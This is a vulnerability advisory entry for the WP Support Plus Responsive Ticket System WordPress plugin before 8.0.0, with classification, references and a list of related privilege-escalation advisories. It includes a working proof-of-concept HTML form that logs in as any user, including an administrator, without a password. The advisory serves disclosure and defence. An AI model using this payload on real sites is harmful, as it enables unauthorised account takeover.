WP Support Plus Responsive Ticket System < 8.0.0 – Privilege Escalation | Plugin Vulnerabilities

Description

You can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie().

Proof of Concept

<form method="post" action="http://example.com/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="administrator">
	<input type="hidden" name="email" value="sth">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">
</form>

Affects Plugins

wp-support-plus-responsive-ticket-system

Fixed in 8.0.0

References

URL

https://packetstormsecurity.com/files/#140413/

URL

https://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html

Classification

Type

PRIVESC

OWASP top 10

A2: Broken Authentication and Session Management

CWE

Miscellaneous

Verified

No

WPVDB ID

b1808005-0809-4ac7-92c7-1f65e410ac4f

Timeline

Publicly Published

2017-08-01 (about 8 years ago)

Added

2020-03-08 (about 5 years ago)

Last Updated

2020-03-09 (about 5 years ago)

Other

Published

Title

Published

2025-12-10

Title

WP CarDealer < 1.2.17 - Unauthenticated Privilege Escalation

Published

2025-07-28

Title

Custom API for WP < 4.2.3 - Subscriber+ Privilege Escalation

Published

2020-05-01

Title

Avada < 6.2.3 - Missing Permission Checks leading to Arbitrary Post Creation, Edition, Deletion and Stored XSS

Published

2024-09-06

Title

WPCOM Member < 1.5.3 - Unauthenticated Privilege Escalation via User Meta

Published

2025-08-19

Title

CouponXxL <= 3.0.0 - Unauthenticated Privilege Escalation